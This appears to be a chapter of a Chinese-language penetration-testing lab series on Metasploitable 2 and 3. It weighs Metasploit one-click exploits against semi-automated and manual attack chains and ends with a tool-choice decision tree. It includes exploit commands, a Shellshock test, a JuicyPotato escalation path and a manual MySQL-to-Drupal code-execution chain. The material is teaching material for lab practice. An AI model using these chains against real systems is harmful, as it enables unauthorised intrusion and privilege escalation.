這邊引出一個更根本的問題:什麼時候該用工具?什麼時候該手動?
這不是一個「高手都手動、新手才用工具」的問題——那是錯誤的二分法。真正的答案是:每種方式都有它最強的場景,用錯了就是浪費時間。
先看數據:本系列的攻擊方式分佈
MS2 + MS3 合計 24 個攻擊入口的方式分佈:
全自動(Metasploit 一鍵打)
████████████████████████ 10 個(42%)
vsftpd、Samba、UnrealIRCd(MS2)、Java RMI(MS2)、
distcc、Continuum、UnrealIRCd(MS3)、Elasticsearch、
Tomcat(MS3)、Java JMX
半自動(工具偵察 + 手動串接)
████████████████ 7 個(29%)
Tomcat(MS2)、NFS、MySQL/PG(MS2)、
Jenkins+JuicyPotato、GlassFish autodeploy、
IIS+菜刀、FTP 爆破
全手動(curl / nc / 手寫指令)
██████████████ 7 個(29%)
DVWA SQLi、Mutillidae XSS、Payroll SQLi→SSH、
Rails Web Console+Docker、Samba WebShell、
MySQL→Drupal PHP Filter、WAMPSERVER WebDAV
三種攻擊方式的能力邊界
全自動:Metasploit exploit 模組
全自動攻擊的特徵:
輸入:set RHOSTS / set LHOST / run
輸出:session(成功)或 error(失敗)
人的參與:選模組、填參數
強項 弱項
─────────────────── ───────────────────
✅ 速度快(5 分鐘內完成) ❌ 只能打「已知 CVE」
✅ 不需要深入理解漏洞原理 ❌ 目標版本不對就直接失敗
✅ exploit 邏輯由專家寫好 ❌ 遇到意外環境無法調整
✅ 可重複、可自動化 ❌ 無法處理跨服務攻擊鏈
✅ 有 check 指令可先驗證 ❌ 容易觸發 IDS/IPS 告警
真實案例——全自動的勝利:
Elasticsearch CVE-2014-3120(MS3 Windows)
操作時間:5 分鐘
use exploit/multi/elasticsearch/search_groovy_script
set RHOSTS 192.168.145.146
set LHOST 192.168.145.144
run
→ 直接 SYSTEM
如果手動做:
→ 需要理解 Elasticsearch 的 _search API
→ 需要構造特定的 Groovy 腳本注入格式
→ 需要處理 Java 環境下的 reverse shell
→ 估計耗時:30-45 分鐘
用 Metasploit 省了 25-40 分鐘
真實案例——全自動的失敗:
CUPS Shellshock CVE-2014-6271(MS3 Linux)
Metasploit 模組存在且可用
但目標的 bash 已修補
→ run 之後:silence,什麼都沒發生
→ 沒有有用的錯誤訊息
→ 不知道是 exploit 不對、payload 不對、還是漏洞已修補
手動驗證更快:
env x='() { :;}; echo VULNERABLE' bash -c "echo test"
→ 只輸出 "test" → 2 秒鐘確認「已修補,放棄」
自動化工具在這裡反而更慢(等待超時 vs 2 秒確認)
半自動:工具偵察 + 手動串接
半自動攻擊的特徵:
輸入:多種工具混合使用
輸出:逐步推進,每一步都有中間結果
人的參與:判斷下一步做什麼
強項 弱項
─────────────────── ───────────────────
✅ 靈活應對意外狀況 ❌ 需要更多時間
✅ 可以串接不同服務 ❌ 需要對每個工具都有基本認識
✅ 工具自動化重複勞動 ❌ 中間步驟可能斷鏈
✅ 每一步都可確認進度 ❌ 需要記錄中間結果
真實案例——半自動的精彩:
Jenkins + JuicyPotato(MS3 Windows)
工具混用清單:
├── curl — 確認 Jenkins Script Console 未授權
├── Groovy — 在 Script Console 執行偵察指令
├── Python HTTP Server — 提供 JuicyPotato 下載
├── JuicyPotato — 提權到 SYSTEM
├── evil-winrm — 最終登入
└── 人的判斷 — 在每個步驟之間決定方向
為什麼不能全自動?
→ 沒有一個 Metasploit 模組能從「Jenkins 未授權」
一路打到「SYSTEM 權限」
→ 中間需要判斷:
✦ LOCAL SERVICE 能寫哪個目錄?→ C:\Users\Public
✦ Reverse shell 被擋了 → 改用 net user 新增帳號
✦ JuicyPotato 需要哪個 CLSID?→ 查 Win Server 2008 R2 的
這些判斷是自動化工具做不了的
全手動:curl / nc / 手寫指令
全手動攻擊的特徵:
輸入:直接操作 HTTP 請求、Socket、SQL 語句
輸出:原始回應,需要自己解讀
人的參與:全程控制
強項 弱項
─────────────────── ───────────────────
✅ 完全理解攻擊原理 ❌ 最花時間
✅ 可以應對任何意外 ❌ 容易犯語法錯誤
✅ 不受工具限制 ❌ 需要深入的技術知識
✅ 隱蔽性最高 ❌ 不容易重現(每次都要重打)
✅ 學習價值最高 ❌ 效率最低
真實案例——全手動的必要性:
MySQL → Drupal PHP Filter(MS3 Linux)— 7 步攻擊鏈
Step 1:cat payroll_app.php → 找到 MySQL 密碼 'sploitme'
Step 2:ssh -L 33306:127.0.0.1:3306 → SSH 隧道
Step 3:mysql -h 127.0.0.1 -P 33306 → 連 MySQL
Step 4:SELECT uid,name,pass FROM drupal.users → 查帳號
Step 5:PHP 腳本生成 Drupal phpass hash
Step 6:UPDATE drupal.users SET pass=... → 改密碼
Step 7:登入 Drupal → 啟用 PHP Filter → 執行任意 PHP
為什麼只能手動?
├── 每一步的輸出決定下一步的輸入
│ MySQL 密碼 → SSH 參數 → SQL 語句 → PHP 腳本
├── 沒有任何工具能自動完成這種跨服務邏輯
├── 整條鏈沒有用到任何 CVE
│ 純粹利用「設定不當」和「功能濫用」
└── 這條鏈的學習價值遠超 Metasploit 一鍵打
決策框架:什麼時候用什麼方式
快速決策樹
面對一個攻擊目標時的決策流程:
這個漏洞有 CVE 編號嗎?
│
├─ 有 CVE
│ │
│ ├── Metasploit 有模組?
│ │ ├── 有 → info 看版本範圍
│ │ │ ├── 匹配 → 全自動(Metasploit) ⚡
│ │ │ └── 不匹配 → searchsploit 找獨立 exploit
│ │ │ → 半自動
│ │ └── 沒有 → searchsploit 有嗎?
│ │ ├── 有 → 讀 exploit 原始碼 → 手動修改執行
│ │ └── 沒有 → 讀 CVE 描述 → 手動 PoC
│ │
│ └── 不確定目標版本?
│ → 先 Metasploit check 驗證 → 再決定
│
└─ 沒有 CVE(設定不當、邏輯漏洞)
│
├── 單步驟?
│ ├── 是 → 全手動(curl 一行搞定) ⚡
│ │ 例:WebDAV PUT、預設帳密、匿名存取
│ └── 否 → 看下面
│
└── 多步驟 / 跨服務?
→ 半自動 ⚡
用工具做每一步,人來串接
例:SSH 隧道 + MySQL + Drupal